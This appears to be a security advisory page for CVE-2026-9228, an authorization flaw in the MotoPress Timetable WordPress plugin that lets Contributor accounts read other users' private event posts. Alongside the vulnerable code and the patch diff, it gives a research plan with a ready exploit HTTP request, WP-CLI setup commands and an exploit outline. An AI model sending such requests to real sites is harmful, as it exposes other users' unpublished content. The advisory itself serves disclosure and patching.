CVE-2026-9228

Timetable and Event Schedule by MotoPress <= 2.4.16 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Exposure via action_get_event_data Function

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.4.17
Patched in
1d
Time to patch

Description

The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.16 via the action_get_event_data due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to enumerate timeslot IDs and read the full WP_Post object — including post_content, post_excerpt, post_status, and post_author — of draft, pending, and private mp-event posts belonging to other users, along with their associated raw timeslot descriptions.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.16
PublishedMay 27, 2026
Last updatedMay 28, 2026
Affected pluginmp-timetable

What Changed in the Fix

Changes introduced in v2.4.17

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-9228 (MotoPress Timetable IDOR) ## 1. Vulnerability Summary The **Timetable and Event Schedule by MotoPress** plugin (<= 2.4.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its custom AJAX routing mechanism. Specifically, the `action_…

Show full research plan

Vulnerability Research Plan: CVE-2026-9228 (MotoPress Timetable IDOR)

1. Vulnerability Summary

The Timetable and Event Schedule by MotoPress plugin (<= 2.4.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its custom AJAX routing mechanism. Specifically, the action_get_event_data function in the Controller_Events class fails to perform any ownership or capability checks on the requested timeslot ID beyond a general edit_posts capability check.

This allows any authenticated user with at least Contributor level access to enumerate timeslot IDs and retrieve sensitive details of mp-event posts belonging to other users, including those with draft, pending, or private statuses. The exposed data includes the full WP_Post object and raw timeslot descriptions.

2. Attack Vector Analysis

  • Endpoint: Any WordPress request that triggers the init hook (typically POST /wp-admin/admin-ajax.php).
  • Custom Router: The plugin uses a custom router defined in Core::wp_ajax_route_url (found in classes/class-core.php), which is hooked to init.
  • Required Parameters:
    • controller: events
    • mptt_action: get_event_data
    • id: The integer ID of a timeslot (stored in the custom {wp_prefix}_mp_timetable_data table).
  • Authentication: Authenticated (Contributor+).
  • Vulnerable Function: mp_timetable\classes\controllers\Controller_Events::action_get_event_data.

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php.
  2. Hook Execution: During init, mp_timetable\plugin_core\classes\Core::wp_ajax_route_url() is executed.
  3. Authorization Check: wp_ajax_route_url checks if ( ! empty( $action ) && current_user_can('edit_posts') ). The Contributor role possesses the edit_posts capability.
  4. Routing: Preprocessor::get_instance()->call_controller( $action, $controller ) is called with $action = 'get_event_data' and $controller = 'events'.
  5. Vulnerable Method: Controller_Events::action_get_event_data() is invoked.
    • It retrieves the ID via filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT).
    • It calls $this->get('events')->get_event_data(...) with the third parameter $show_public_only set to false.
    • Sink: wp_send_json_success($result[0]) returns the full object to the attacker without verifying if the attacker should have access to the underlying mp-event post associated with that timeslot.

4. Nonce Acquisition Strategy

Analysis of classes/controllers/class-controller-events.php reveals that action_get_event_data does not implement a nonce check.

  • Compare action_get_event_data to action_delete or action_update_event_data in the same file; the latter two explicitly call check_ajax_referer.
  • Because action_get_event_data lacks this check, no nonce is required for exploitation. Only a valid Contributor-level session cookie is needed.

5. Exploitation Strategy

Step 1: Authentication

Log in as a user with the Contributor role to obtain a session cookie.

Step 2: ID Enumeration/Targeting

Identify a timeslot ID. In a real-world scenario, these are sequential integers. For the PoC, we will target a timeslot created by the Administrator for a private event.

Step 3: Malicious Request

Send a POST request to the custom router.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: controller=events&mptt_action=get_event_data&id=[TARGET_TIMESLOT_ID]

Payload Example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Contributor_Cookies]

controller=events&mptt_action=get_event_data&id=1

6. Test Data Setup

To demonstrate the leak of sensitive information, the following must be set up via WP-CLI:

  1. Target User: Ensure an Administrator user exists.
  2. Attacker User: Create a user with the contributor role.
  3. Sensitive Post:
    • As Administrator, create an mp-event post with post_status='private'.
    • Set a sensitive string in the post_content (e.g., "INTERNAL_SECRET_PROJECT_KRAKEN").
  4. Target Timeslot:
    • As Administrator, create an mp-column post (required for timeslots).
    • Insert a record into the {wp_prefix}_mp_timetable_data table associated with the private mp-event and the mp-column.
    • Record the id of this new row.

WP-CLI commands for setup:

# Create Contributor
wp user create attacker attacker@example.com --role=contributor --user_pass=password

# Create Column
COLUMN_ID=$(wp post create --post_type=mp-column --post_title="Monday" --post_status=publish --porcelain)

# Create Private Event
EVENT_ID=$(wp post create --post_type=mp-event --post_title="Secret Strategy" --post_content="INTERNAL_SECRET_PROJECT_KRAKEN" --post_status=private --porcelain)

# Manually insert timeslot via SQL (Plugin uses custom table)
TABLE_NAME=$(wp db prefix)mp_timetable_data
wp db query "INSERT INTO $TABLE_NAME (event_id, column_id, event_start, event_end, description) VALUES ($EVENT_ID, $COLUMN_ID, '10:00', '11:00', 'Confidential Meeting')"

# Get the ID of the inserted timeslot
TIMESLOT_ID=$(wp db query "SELECT id FROM $TABLE_NAME WHERE event_id=$EVENT_ID" --silent --skip-column-names)

7. Expected Results

A successful exploit will return a JSON object (wp_send_json_success) containing:

  • The post_content of the private event ("INTERNAL_SECRET_PROJECT_KRAKEN").
  • The post_status ("private").
  • The description of the timeslot ("Confidential Meeting").
  • The post_author ID.

The response should look like:

{
    "success": true,
    "data": {
        "id": "1",
        "event_id": "123",
        "post_title": "Secret Strategy",
        "post_content": "INTERNAL_SECRET_PROJECT_KRAKEN",
        "post_status": "private",
        "description": "Confidential Meeting",
        ...
    }
}

8. Verification Steps

  1. Analyze Response: Verify that the post_content in the HTTP response matches the secret string assigned to the private event.
  2. Check Access Level: Verify using wp user get attacker that the user only has contributor permissions.
  3. Check Visibility: Use wp post get [EVENT_ID] --user=attacker to confirm that the Contributor normally cannot see this private post via standard WordPress APIs/CLI. If the AJAX request sees it but the CLI (as attacker) doesn't, the bypass is confirmed.

9. Alternative Approaches

If the mptt_action routing is restricted via admin-ajax.php in some environments, the same parameters can be sent to the WordPress home page (index.php), as the init hook runs on every request.

  • Alternative URL: http://localhost:8080/?controller=events&mptt_action=get_event_data&id=[ID]
  • Since Core::wp_ajax_route_url does not strictly check DOING_AJAX before processing (it only uses it to decide whether to call wp_die() or die()), the vulnerability is reachable on both frontend and backend entry points.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `action_get_event_data` function in versions up to and including 2.4.16. Due to insufficient authorization checks and missing nonce validation, authenticated attackers with Contributor-level access or higher can retrieve sensitive details—including post content and status of private, draft, or pending events—by enumerating timeslot IDs.

Vulnerable Code

// classes/controllers/class-controller-events.php:62
	/**
	 * Get single event data
	 */
	public function action_get_event_data() {

		if ( current_user_can('edit_posts') ) {

			$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);
			$result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false);

			if (!empty($result)) {
				wp_send_json_success($result[ 0 ]);
			} else {
				wp_send_json_error(array('status' => false));
			}
		} else {
			wp_die( sprintf( 'Access denied, %s, %s', __FUNCTION__, basename( __FILE__ ) ) );
		}
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/class-core.php /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/class-core.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/class-core.php	2024-02-12 19:39:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/class-core.php	2026-05-25 19:22:48.000000000 +0000
@@ -563,6 +563,7 @@
 			'MPTT',
 			array(
 				'table_class' => apply_filters( 'mptt_shortcode_static_table_class', 'mptt-shortcode-table' ),
+				'timeslot_read_nonce' => wp_create_nonce( 'timeslot_read_nonce' ),
 				'timeslot_delete_nonce' => wp_create_nonce( 'timeslot_delete_nonce' ),
 				'timeslot_update_nonce' => wp_create_nonce( 'timeslot_update_nonce' ),
 			)
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/class-hooks.php /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/class-hooks.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/class-hooks.php	2022-11-14 14:39:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/class-hooks.php	2026-05-25 19:22:48.000000000 +0000
@@ -148,8 +148,15 @@
 		Core::get_instance()->register_all_post_type();
 		// Register taxonomy all
 		Core::get_instance()->register_all_taxonomies();
-		// route url
-		Core::get_instance()->wp_ajax_route_url();
+
+		if (
+			is_admin() &&
+			isset( $_POST['controller'], $_POST['mptt_action'] ) &&
+			'import' === sanitize_key( wp_unslash( $_POST['controller'] ) ) &&
+			'export' === sanitize_key( wp_unslash( $_POST['mptt_action'] ) )
+		) {
+			Core::get_instance()->wp_ajax_route_url();
+		}
 		
 		if ( Settings::get_instance()->is_plugin_template_mode() ) {
 			// plugin mode
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/controllers/class-controller-events.php /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/controllers/class-controller-events.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/classes/controllers/class-controller-events.php	2022-11-14 14:39:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/classes/controllers/class-controller-events.php	2026-05-25 19:22:48.000000000 +0000
@@ -61,9 +61,19 @@
 	 */
 	public function action_get_event_data() {
 
-		if ( current_user_can('edit_posts') ) {
+		check_ajax_referer( 'timeslot_read_nonce', 'nonce' );
+
+		$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);
+
+		$event_id = 0;
+		$timeslot = $this->get('events')->get_timeslot_by_id( $id );
+
+		if ( $timeslot ) {
+			$event_id = (int) $timeslot->event_id;
+		}
+
+		if ( $event_id && current_user_can( 'edit_post', $event_id ) ) {
 
-			$id = filter_input(INPUT_POST, 'id', FILTER_VALIDATE_INT);
 			$result = $this->get('events')->get_event_data(array('field' => 'id', 'id' => $id), 'event_start', false);
 
 			if (!empty($result)) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/media/js/events/event.js /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/media/js/events/event.js
--- /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.16/media/js/events/event.js	2024-02-28 15:54:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mp-timetable/2.4.17/media/js/events/event.js	2026-05-25 19:22:48.000000000 +0000
@@ -185,7 +185,8 @@
 						Registry._get("adminFunctions").wpAjax({
 								controller: "events",
 								action: "get_event_data",
-								id: id
+								id: id,
+								nonce: MPTT.timeslot_read_nonce,
 							},
 							function(data) {
 								var $addMpEvent = $('#add_mp_event');

Exploit Outline

1. Authenticate to the WordPress site with a user account possessing at least the 'Contributor' role (or any role with the `edit_posts` capability). 2. Send a POST request to `/wp-admin/admin-ajax.php` (or any URL that triggers the `init` hook, as the plugin router is hooked there). 3. Set the POST body to include `controller=events`, `mptt_action=get_event_data`, and `id=[TARGET_ID]`, where `[TARGET_ID]` is the integer ID of a timeslot record. 4. Vulnerable versions do not require a nonce for this specific action. The server will respond with a JSON object containing the full `WP_Post` data for the event associated with the timeslot, regardless of its post status (private, draft, or pending).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.